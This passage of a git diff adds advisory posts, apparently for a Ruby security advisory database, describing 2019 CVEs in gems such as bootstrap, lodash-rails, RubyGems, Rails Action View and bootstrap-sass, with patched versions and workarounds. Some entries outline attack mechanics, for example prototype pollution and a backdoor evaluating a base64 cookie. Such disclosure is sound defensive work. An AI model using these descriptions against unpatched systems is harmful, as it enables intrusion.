+    - https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0
+    - https://github.com/advisories/GHSA-3mgp-fx93-9xv5
+---
diff --git a/advisories/_posts/2019-01-17-CVE-2018-20677.md b/advisories/_posts/2019-01-17-CVE-2018-20677.md
new file mode 100644
index 00000000..31ed69fb
--- /dev/null
+++ b/advisories/_posts/2019-01-17-CVE-2018-20677.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2018-20677 (bootstrap): bootstrap Cross-site Scripting vulnerability'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2018-20677
+  ghsa: ph58-4vrj-w6hr
+  url: https://github.com/advisories/GHSA-ph58-4vrj-w6hr
+  title: bootstrap Cross-site Scripting vulnerability
+  date: 2019-01-17
+  description: |
+    In Bootstrap before 3.4.0, XSS is possible in the affix
+    configuration target property.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 3.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-20677
+    - https://github.com/twbs/bootstrap/issues/27045
+    - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452140906
+    - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452196628
+    - https://github.com/twbs/bootstrap/pull/27047
+    - https://access.redhat.com/errata/RHBA-2019:1076
+    - https://access.redhat.com/errata/RHBA-2019:1570
+    - https://access.redhat.com/errata/RHSA-2019:1456
+    - https://access.redhat.com/errata/RHSA-2019:3023
+    - https://access.redhat.com/errata/RHSA-2020:0132
+    - https://access.redhat.com/errata/RHSA-2020:0133
+    - https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e@
+    - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@
+    - https://github.com/twbs/bootstrap/commit/2a5ba23ce8f041f3548317acc992ed8a736b609d
+    - https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0
+    - https://github.com/advisories/GHSA-ph58-4vrj-w6hr
+---
diff --git a/advisories/_posts/2019-02-07-CVE-2018-16487.md b/advisories/_posts/2019-02-07-CVE-2018-16487.md
new file mode 100644
index 00000000..62af7df2
--- /dev/null
+++ b/advisories/_posts/2019-02-07-CVE-2018-16487.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2018-16487 (lodash-rails): Prototype Pollution in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2018-16487
+  ghsa: 4xc9-xhrj-v574
+  url: https://github.com/advisories/GHSA-4xc9-xhrj-v574
+  title: Prototype Pollution in lodash
+  date: 2019-02-07
+  description: |
+    Versions of `lodash` before 4.17.11 are vulnerable to
+    prototype pollution.
+
+    The vulnerable functions are 'defaultsDeep', 'merge', and
+    'mergeWith' which allow a malicious user to modify the
+    prototype of `Object` via `{constructor: {prototype:
+    {...}}}` causing the addition or modification of an existing
+    property that will exist on all objects.
+
+    ## Recommendation
+
+    Update to version 4.17.11 or later.
+  cvss_v2: 6.8
+  cvss_v3: 5.6
+  patched_versions:
+  - ">= 4.17.11"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-16487
+    - https://hackerone.com/reports/380873
+    - https://www.npmjs.com/advisories/782
+    - https://github.com/lodash/lodash/commit/90e6199a161b6445b01454517b40ef65ebecd2ad
+    - https://security.netapp.com/advisory/ntap-20190919-0004
+    - https://github.com/advisories/GHSA-4xc9-xhrj-v574
+---
diff --git a/advisories/_posts/2019-02-07-CVE-2019-5421.md b/advisories/_posts/2019-02-07-CVE-2019-5421.md
new file mode 100644
index 00000000..2892d15f
--- /dev/null
+++ b/advisories/_posts/2019-02-07-CVE-2019-5421.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2019-5421 (devise): Devise Gem for Ruby Time-of-check Time-of-use race
+  condition with lockable module'
+comments: false
+categories:
+- devise
+advisory:
+  gem: devise
+  cve: 2019-5421
+  ghsa: 73rf-6mrf-759q
+  url: https://github.com/plataformatec/devise/issues/4981
+  title: Devise Gem for Ruby Time-of-check Time-of-use race condition with lockable
+    module
+  date: 2019-02-07
+  description: |
+    Devise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a
+    time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts`
+    within the `Devise::Models::Lockable` class not being concurrency safe.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 4.6.0"
+---
diff --git a/advisories/_posts/2019-02-15-CVE-2019-8331.md b/advisories/_posts/2019-02-15-CVE-2019-8331.md
new file mode 100644
index 00000000..fa65218d
--- /dev/null
+++ b/advisories/_posts/2019-02-15-CVE-2019-8331.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2019-8331 (twitter-bootstrap-rails): twitter-bootstrap-rails vulnerable
+  to Cross-Site Scripting (XSS)'
+comments: false
+categories:
+- twitter-bootstrap-rails
+advisory:
+  gem: twitter-bootstrap-rails
+  cve: 2019-8331
+  ghsa: 9v3m-8fp8-mj99
+  url: https://blog.getbootstrap.com/2019/02/13/bootstrap-4-3-1-and-3-4-1/
+  title: twitter-bootstrap-rails vulnerable to Cross-Site Scripting (XSS)
+  date: 2019-02-15
+  description: |
+    The seyhunak/twitter-bootstrap-rails gem includes a vendored version of
+    the Bootstrap JavaScript library.
+
+    In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible
+    in the tooltip or popover data-template attribute.
+
+    The most recent version of this gem, 5.0.0, includes Bootstrap v 3.3.6.
+    All versions of Bootstrap before v 3.4.1 are affected by this vulnerability.
+    All versions of this gem are affected.
+
+    # Workarounds
+    Until this gem is updated to use Bootstrap v3.4.1, users can replace it
+    with the official Twitter-maintained gems, `bootstrap-sass` (version 3.4.1)
+    or `bootstrap` (bootstrap 4 and 5).
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  related:
+    url:
+    - https://github.com/twbs/bootstrap-sass/releases/tag/v3.4.1
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8320.md b/advisories/_posts/2019-03-05-CVE-2019-8320.md
new file mode 100644
index 00000000..85717233
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8320.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2019-8320 (rubygems-update): Delete directory using symlink when decompressing
+  tar'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8320
+  ghsa: 5x32-c9mf-49cc
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Delete directory using symlink when decompressing tar
+  date: 2019-03-05
+  description: |
+    A Directory Traversal issue was discovered in RubyGems 2.7.6 and later
+    through 3.0.2. Before making new directories or touching files (which now
+    include path-checking code for symlinks), it would delete the target
+    destination. If that destination was hidden behind a symlink, a malicious gem
+    could delete arbitrary files on the user’s machine, presuming the attacker
+    could guess at paths. Given how frequently gem is run as sudo, and how
+    predictable paths are on modern systems (/tmp, /usr, etc.), this could
+    likely lead to data loss or an unusable system.
+  cvss_v3: 7.4
+  unaffected_versions:
+  - "< 2.7.6"
+  patched_versions:
+  - ">= 3.0.3"
+  - "~> 2.7.9"
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8321.md b/advisories/_posts/2019-03-05-CVE-2019-8321.md
new file mode 100644
index 00000000..081187f4
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8321.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-8321 (rubygems-update): Escape sequence injection vulnerability in
+  verbose'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8321
+  ghsa: fr32-gr5c-xq5c
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Escape sequence injection vulnerability in verbose
+  date: 2019-03-05
+  description: |
+    An issue was discovered in RubyGems 2.6 and later through 3.0.2. Since
+    Gem::UserInteraction#verbose calls say without escaping, escape sequence
+    injection is possible.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - ">= 3.0.3"
+  - "~> 2.7.9"
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8322.md b/advisories/_posts/2019-03-05-CVE-2019-8322.md
new file mode 100644
index 00000000..8a9e03eb
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8322.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-8322 (rubygems-update): Escape sequence injection vulnerability in
+  gem owner'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8322
+  ghsa: mh37-8c3g-3fgc
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Escape sequence injection vulnerability in gem owner
+  date: 2019-03-05
+  description: |
+    An issue was discovered in RubyGems 2.6 and later through 3.0.2. The gem
+    owner command outputs the contents of the API response directly to stdout.
+    Therefore, if the response is crafted, escape sequence injection may occur.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - "~> 2.7.9"
+  - ">= 3.0.3"
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8323.md b/advisories/_posts/2019-03-05-CVE-2019-8323.md
new file mode 100644
index 00000000..a7c41697
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8323.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2019-8323 (rubygems-update): Escape sequence injection vulnerability in
+  api response handling'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8323
+  ghsa: 3h4r-pjv6-cph9
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Escape sequence injection vulnerability in api response handling
+  date: 2019-03-05
+  description: |
+    An issue was discovered in RubyGems 2.6 and later through 3.0.2.
+    Gem::GemcutterUtilities#with_response may output the API response to stdout
+    as it is. Therefore, if the API side modifies the response, escape sequence
+    injection may occur.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - ">= 3.0.3"
+  - "~> 2.7.9"
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8324.md b/advisories/_posts/2019-03-05-CVE-2019-8324.md
new file mode 100644
index 00000000..cfc7e736
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8324.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2019-8324 (rubygems-update): Installing a malicious gem may lead to arbitrary
+  code execution'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8324
+  ghsa: 76wm-422q-92mq
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Installing a malicious gem may lead to arbitrary code execution
+  date: 2019-03-05
+  description: |
+    An issue was discovered in RubyGems 2.6 and later through 3.0.2. A crafted
+    gem with a multi-line name is not handled correctly. Therefore, an attacker
+    could inject arbitrary code to the stub line of gemspec, which is eval-ed by
+    code in ensure_loadable_spec during the preinstall check.
+  cvss_v3: 8.8
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - ">= 3.0.3"
+  - "~> 2.7.9"
+---
diff --git a/advisories/_posts/2019-03-05-CVE-2019-8325.md b/advisories/_posts/2019-03-05-CVE-2019-8325.md
new file mode 100644
index 00000000..820f094d
--- /dev/null
+++ b/advisories/_posts/2019-03-05-CVE-2019-8325.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-8325 (rubygems-update): Escape sequence injection vulnerability in
+  errors'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2019-8325
+  ghsa: 4wm8-fjv7-j774
+  url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
+  title: Escape sequence injection vulnerability in errors
+  date: 2019-03-05
+  description: |
+    An issue was discovered in RubyGems 2.6 and later through 3.0.2. Since
+    Gem::CommandManager#run calls alert_error without escaping, escape sequence
+    injection is possible. (There are many ways to cause an error.)
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - ">= 3.0.3"
+  - "~> 2.7.9"
+---
diff --git a/advisories/_posts/2019-03-08-CVE-2018-6517.md b/advisories/_posts/2019-03-08-CVE-2018-6517.md
new file mode 100644
index 00000000..ad5a7f7f
--- /dev/null
+++ b/advisories/_posts/2019-03-08-CVE-2018-6517.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2018-6517 (chloride): Improper handling of ssh known_hosts file with Chloride'
+comments: false
+categories:
+- chloride
+advisory:
+  gem: chloride
+  cve: 2018-6517
+  ghsa: 573x-jhqh-jg36
+  url: https://puppet.com/security/cve/CVE-2018-6517
+  title: Improper handling of ssh known_hosts file with Chloride
+  date: 2019-03-08
+  description: |
+    Prior to version 0.3.0, chloride's use of net-ssh resulted in host fingerprints
+    for previously unknown hosts getting added to the user's known_hosts file without
+    confirmation. In version 0.3.0 this is updated so that the user's known_hosts file
+    is not updated by chloride.
+  cvss_v3: 5.0
+  patched_versions:
+  - ">= 0.3.0"
+---
diff --git a/advisories/_posts/2019-03-13-CVE-2019-5418.md b/advisories/_posts/2019-03-13-CVE-2019-5418.md
new file mode 100644
index 00000000..c4b8aedf
--- /dev/null
+++ b/advisories/_posts/2019-03-13-CVE-2019-5418.md
@@ -0,0 +1,105 @@
+---
+layout: advisory
+title: 'CVE-2019-5418 (actionview): File Content Disclosure in Action View'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2019-5418
+  ghsa: 86g5-2wh3-gc9j
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
+  title: File Content Disclosure in Action View
+  date: 2019-03-13
+  description: |
+    There is a possible file content disclosure vulnerability in Action View. This
+    vulnerability has been assigned the CVE identifier CVE-2019-5418.
+
+    Versions Affected:  All.
+    Not affected:       None.
+    Fixed Versions:     6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
+
+    Impact
+    ------
+    There is a possible file content disclosure vulnerability in Action View.
+    Specially crafted accept headers in combination with calls to `render file:`
+    can cause arbitrary files on the target server to be rendered, disclosing the
+    file contents.
+
+    The impact is limited to calls to `render` which render file contents without
+    a specified accept format.  Impacted code in a controller looks something like
+    this:
+
+    ```
+    class UserController < ApplicationController
+      def index
+        render file: "#{Rails.root}/some/file"
+      end
+    end
+    ```
+
+    Rendering templates as opposed to files is not impacted by this vulnerability.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are
+    available at the normal locations.
+
+    Workarounds
+    -----------
+    This vulnerability can be mitigated by specifying a format for file rendering,
+    like this:
+
+    ```
+    class UserController < ApplicationController
+      def index
+        render file: "#{Rails.root}/some/file", formats: [:html]
+      end
+    end
+    ```
+
+    In summary, impacted calls to `render` look like this:
+
+    ```
+    render file: "#{Rails.root}/some/file"
+    ```
+
+    The vulnerability can be mitigated by changing to this:
+
+    ```
+    render file: "#{Rails.root}/some/file", formats: [:html]
+    ```
+
+    Other calls to `render` are not impacted.
+
+    Alternatively, the following monkey patch can be applied in an initializer:
+
+    ```
+    $ cat config/initializers/formats_filter.rb
+    # frozen_string_literal: true
+
+    ActionDispatch::Request.prepend(Module.new do
+      def formats
+        super().select do |format|
+          format.symbol || format.ref == "*/*"
+        end
+      end
+    end)
+    ```
+
+    Credits
+    -------
+    Thanks to John Hawthorn <john@hawthorn.email> of GitHub
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 4.2.11, >= 4.2.11.1"
+  - "~> 5.0.7, >= 5.0.7.2"
+  - "~> 5.1.6, >= 5.1.6.2"
+  - "~> 5.2.2, >= 5.2.2.1"
+  - ">= 6.0.0.beta3"
+---
diff --git a/advisories/_posts/2019-03-13-CVE-2019-5419.md b/advisories/_posts/2019-03-13-CVE-2019-5419.md
new file mode 100644
index 00000000..ef34c9e0
--- /dev/null
+++ b/advisories/_posts/2019-03-13-CVE-2019-5419.md
@@ -0,0 +1,101 @@
+---
+layout: advisory
+title: 'CVE-2019-5419 (actionview): Denial of Service Vulnerability in Action View'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2019-5419
+  ghsa: m63j-wh5w-c252
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/GN7w9fFAQeI
+  title: Denial of Service Vulnerability in Action View
+  date: 2019-03-13
+  description: |
+    There is a potential denial of service vulnerability in actionview.
+    This vulnerability has been assigned the CVE identifier CVE-2019-5419.
+
+    Impact
+    ------
+    Specially crafted accept headers can cause the Action View template location
+    code to consume 100% CPU, causing the server unable to process requests.  This
+    impacts all Rails applications that render views.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Workarounds
+    -----------
+    This vulnerability can be mitigated by wrapping `render` calls with
+    `respond_to` blocks.  For example, the following example is vulnerable:
+
+    ```
+    class UserController < ApplicationController
+      def index
+        render "index"
+      end
+    end
+    ```
+
+    But the following code is not vulnerable:
+
+    ```
+    class UserController < ApplicationController
+      def index
+        respond_to |format|
+          format.html { render "index" }
+        end
+      end
+    end
+    ```
+
+    Implicit rendering is impacted, so this code is vulnerable:
+
+    ```
+    class UserController < ApplicationController
+      def index
+      end
+    end
+    ```
+
+    But can be changed this this:
+
+    ```
+    class UserController < ApplicationController
+      def index
+        respond_to |format|
+          format.html { render "index" }
+        end
+      end
+    end
+    ```
+
+    Alternatively to specifying the format, the following monkey patch can be
+    applied in an initializer:
+
+    ```
+    $ cat config/initializers/formats_filter.rb
+    # frozen_string_literal: true
+
+    ActionDispatch::Request.prepend(Module.new do
+      def formats
+        super().select do |format|
+          format.symbol || format.ref == "*/*"
+        end
+      end
+    end)
+    ```
+
+    Credits
+    -------
+    Thanks to John Hawthorn <john@hawthorn.email> of GitHub
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 6.0.0.beta3"
+  - "~> 5.2.2, >= 5.2.2.1"
+  - "~> 5.1.6, >= 5.1.6.2"
+  - "~> 5.0.7, >= 5.0.7.2"
+  - "~> 4.2.11, >= 4.2.11.1"
+---
diff --git a/advisories/_posts/2019-03-13-CVE-2019-5420.md b/advisories/_posts/2019-03-13-CVE-2019-5420.md
new file mode 100644
index 00000000..c7a4e74e
--- /dev/null
+++ b/advisories/_posts/2019-03-13-CVE-2019-5420.md
@@ -0,0 +1,56 @@
+---
+layout: advisory
+title: 'CVE-2019-5420 (railties): Possible Remote Code Execution Exploit in Rails
+  Development Mode'
+comments: false
+categories:
+- railties
+- rails
+advisory:
+  gem: railties
+  framework: rails
+  cve: 2019-5420
+  ghsa: m42h-mh85-4qgc
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/IsQKvDqZdKw
+  title: Possible Remote Code Execution Exploit in Rails Development Mode
+  date: 2019-03-13
+  description: |
+    There is a possible a possible remote code executing exploit in Rails when in
+    development mode. This vulnerability has been assigned the CVE identifier
+    CVE-2019-5420.
+
+    Versions Affected:  6.0.0.X, 5.2.X.
+    Not affected:       < 5.2.0
+    Fixed Versions:     6.0.0.beta3, 5.2.2.1
+
+    Impact
+    ------
+    With some knowledge of a target application it is possible for an attacker to
+    guess the automatically generated development mode secret token.  This secret
+    token can be used in combination with other Rails internals to escalate to a
+    remote code execution exploit.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The 6.0.0.beta3 and 5.2.2.1 releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    This issue can be mitigated by specifying a secret key in development mode.
+    In "config/environments/development.rb" add this:
+
+      config.secret_key_base = SecureRandom.hex(64)
+
+    Credits
+    -------
+    Thanks to ooooooo_q
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - "~> 5.2.2, >= 5.2.2.1"
+  - ">= 6.0.0.beta3"
+---
diff --git a/advisories/_posts/2019-03-25-CVE-2019-9837.md b/advisories/_posts/2019-03-25-CVE-2019-9837.md
new file mode 100644
index 00000000..24a907fa
--- /dev/null
+++ b/advisories/_posts/2019-03-25-CVE-2019-9837.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2019-9837 (doorkeeper-openid_connect): Doorkeeper::OpenidConnect Open
+  Redirect'
+comments: false
+categories:
+- doorkeeper-openid_connect
+advisory:
+  gem: doorkeeper-openid_connect
+  cve: 2019-9837
+  ghsa: vv4c-g6q7-p3q7
+  url: https://github.com/doorkeeper-gem/doorkeeper-openid_connect/blob/master/CHANGELOG.md#v154-2019-02-15
+  title: Doorkeeper::OpenidConnect Open Redirect
+  date: 2019-03-25
+  description: |
+    Doorkeeper::OpenidConnect (aka the OpenID Connect extension for Doorkeeper)
+    1.4.x and 1.5.x before 1.5.4 has an open redirect via the redirect_uri field in
+    an OAuth authorization request (that results in an error response) with the 'openid'
+    scope and a prompt=none value. This allows phishing attacks against the authorization
+    flow.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 1.4.0"
+  patched_versions:
+  - ">= 1.5.4"
+---
diff --git a/advisories/_posts/2019-04-04-CVE-2019-10842.md b/advisories/_posts/2019-04-04-CVE-2019-10842.md
new file mode 100644
index 00000000..a7d8a18d
--- /dev/null
+++ b/advisories/_posts/2019-04-04-CVE-2019-10842.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2019-10842 (bootstrap-sass): Remote code execution in bootstrap-sass'
+comments: false
+categories:
+- bootstrap-sass
+advisory:
+  gem: bootstrap-sass
+  cve: 2019-10842
+  ghsa: vqqv-v9m2-48p2
+  url: https://github.com/twbs/bootstrap-sass/issues/1195
+  title: Remote code execution in bootstrap-sass
+  date: 2019-04-04
+  description: |
+    Arbitrary code execution (via backdoor code, when
+    downloaded from rubygems.org) was discovered in
+    bootstrap-sass 3.2.0.3.
+
+    Users are advised to upgrade immediately to 3.2.0.4
+
+    An unauthenticated attacker can craft the ___cfduid cookie value
+    with base64 arbitrary code to be executed via eval(), which can
+    be leveraged to execute arbitrary code on the target system.
+    (Note that there are three underscore characters in the cookie name.
+    This is unrelated to the __cfduid cookie that is legitimately used by
+    Cloudflare.)
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "<= 3.2.0.2"
+  patched_versions:
+  - ">= 3.2.0.4"
+---
diff --git a/advisories/_posts/2019-04-10-CVE-2019-16060.md b/advisories/_posts/2019-04-10-CVE-2019-16060.md
new file mode 100644
index 00000000..5d35d99b
--- /dev/null
+++ b/advisories/_posts/2019-04-10-CVE-2019-16060.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2019-16060 (airbrake-ruby): Blacklist keys are no longer being filtered
+  in airbrake-ruby'
+comments: false
+categories:
+- airbrake-ruby
+advisory:
+  gem: airbrake-ruby
+  cve: 2019-16060
+  ghsa: 2p82-v77v-mppr
+  url: https://github.com/airbrake/airbrake-ruby/issues/468
+  title: Blacklist keys are no longer being filtered in airbrake-ruby
+  date: 2019-04-10
+  description: |
+    A flaw in airbrake-ruby v4.2.3 prevented user data from being filtered
+    prior to sending to Airbrake. Such data could be user passwords. Therefore, an app
+    could leak user passwords without knowing it.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 4.2.3"
+  - "> 4.2.3"
+  patched_versions:
+  - ">= 4.2.4"
+  related:
+    url:
+    - https://github.com/airbrake/airbrake-ruby/pull/469
+---
diff --git a/advisories/_posts/2019-04-19-CVE-2019-11358.md b/advisories/_posts/2019-04-19-CVE-2019-11358.md
new file mode 100644
index 00000000..4dbc9ab0
--- /dev/null
+++ b/advisories/_posts/2019-04-19-CVE-2019-11358.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2019-11358 (jquery-rails): Prototype pollution attack through jQuery $.extend'
+comments: false
+categories:
+- jquery-rails
+- rails
+advisory:
+  gem: jquery-rails
+  framework: rails
+  cve: 2019-11358
+  ghsa: 6c3j-c64m-qhgq
+  url: https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
+  title: Prototype pollution attack through jQuery $.extend
+  date: 2019-04-19
+  description: |
+    jQuery before 3.4.0 mishandles jQuery.extend(true, {}, ...) because of
+    bject.prototype pollution. If an unsanitized source object contained an
+    enumerable __proto__ property, it could extend the native Object.prototype.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.3.4"
+  related:
+    url:
+    - https://hackerone.com/reports/454365
+    - https://github.com/jquery/jquery/pull/4333
+    - https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#434
+---
diff --git a/advisories/_posts/2019-04-22-CVE-2019-11068.md b/advisories/_posts/2019-04-22-CVE-2019-11068.md
new file mode 100644
index 00000000..2178b2c3
--- /dev/null
+++ b/advisories/_posts/2019-04-22-CVE-2019-11068.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'CVE-2019-11068 (nokogiri): Nokogiri gem, via libxslt, is affected by improper
+  access control vulnerability'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2019-11068
+  ghsa: qxcg-xjjg-66mj
+  url: https://github.com/sparklemotion/nokogiri/issues/1892
+  title: Nokogiri gem, via libxslt, is affected by improper access control vulnerability
+  date: 2019-04-22
+  description: |
+    Nokogiri v1.10.3 has been released.
+
+    This is a security release. It addresses a CVE in upstream libxslt rated as
+    "Priority: medium" by Canonical, and "NVD Severity: high" by Debian. More
+    details are available below.
+
+    If you're using your distro's system libraries, rather than Nokogiri's
+    vendored libraries, there's no security need to upgrade at this time, though
+    you may want to check with your distro whether they've patched this
+    (Canonical has patched Ubuntu packages). Note that this patch is not yet (as
+    of 2019-04-22) in an upstream release of libxslt.
+
+    Full details about the security update are available in Github Issue
+    [#1892] https://github.com/sparklemotion/nokogiri/issues/1892.
+
+    ---
+
+    CVE-2019-11068
+
+    Permalinks are:
+    - Canonical: https://people.canonical.com/~ubuntu-security/cve/CVE-2019-11068
+    - Debian: https://security-tracker.debian.org/tracker/CVE-2019-11068
+
+    Description:
+
+    > libxslt through 1.1.33 allows bypass of a protection mechanism
+    > because callers of xsltCheckRead and xsltCheckWrite permit access
+    > even upon receiving a -1 error code. xsltCheckRead can return -1 for
+    > a crafted URL that is not actually invalid and is subsequently
+    > loaded.
+
+    Canonical rates this as "Priority: Medium".
+
+    Debian rates this as "NVD Severity: High (attack range: remote)".
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.10.3"
+  related:
+    url:
+    - https://groups.google.com/forum/#!msg/ruby-security-ann/_y80o1zZlOs/k4SDX6hoAAAJ
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/e03553605b45c88f0b4b2980adfbbb8f6fca2fd6
+---
diff --git a/advisories/_posts/2019-06-04-CVE-2019-12732.md b/advisories/_posts/2019-06-04-CVE-2019-12732.md
new file mode 100644
index 00000000..471c7381
--- /dev/null
+++ b/advisories/_posts/2019-06-04-CVE-2019-12732.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2019-12732 (chartkick): XSS Vulnerability in Chartkick Ruby Gem'
+comments: false
+categories:
+- chartkick
+advisory:
+  gem: chartkick
+  cve: 2019-12732
+  ghsa: g45g-g52h-39rg
+  url: https://github.com/ankane/chartkick/issues/488
+  title: XSS Vulnerability in Chartkick Ruby Gem
+  date: 2019-06-04
+  description: |
+    Chartkick is vulnerable to a cross-site scripting (XSS) attack if
+    both the following conditions are met:
+
+    Condition 1:
+      It's used with `ActiveSupport.escape_html_entities_in_json = false`
+      (this is not the default for Rails)
+      OR used with a non-Rails framework like Sinatra.
+
+    Condition 2:
+      Untrusted data or options are passed to a chart.
+
+      <%= line_chart params[:data], min: params[:min] %>
+  cvss_v3: 4.7
+  patched_versions:
+  - ">= 3.2.0"
+---
diff --git a/advisories/_posts/2019-06-13-CVE-2019-11027.md b/advisories/_posts/2019-06-13-CVE-2019-11027.md
new file mode 100644
index 00000000..c838eb60
--- /dev/null
+++ b/advisories/_posts/2019-06-13-CVE-2019-11027.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2019-11027 (ruby-openid): ruby-openid SSRF via claimed_id request'
+comments: false
+categories:
+- ruby-openid
+advisory:
+  gem: ruby-openid
+  cve: 2019-11027
+  ghsa: fqfj-cmh6-hj49
+  url: https://github.com/openid/ruby-openid/issues/122
+  date: 2019-06-13
+  title: ruby-openid SSRF via claimed_id request
+  description: |
+    Ruby OpenID (aka ruby-openid) through 2.8.0 has a remotely exploitable
+    flaw. This library is used by Rails web applications to integrate with OpenID Providers.
+    Severity can range from medium to critical, depending on how a web application developer
+    chose to employ the ruby-openid library. Developers who based their OpenID integration
+    heavily on the "example app" provided by the project are at highest risk.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.9.0"
+---
diff --git a/advisories/_posts/2019-07-01-CVE-2019-13146.md b/advisories/_posts/2019-07-01-CVE-2019-13146.md
new file mode 100644
index 00000000..dc7c8598
--- /dev/null
+++ b/advisories/_posts/2019-07-01-CVE-2019-13146.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
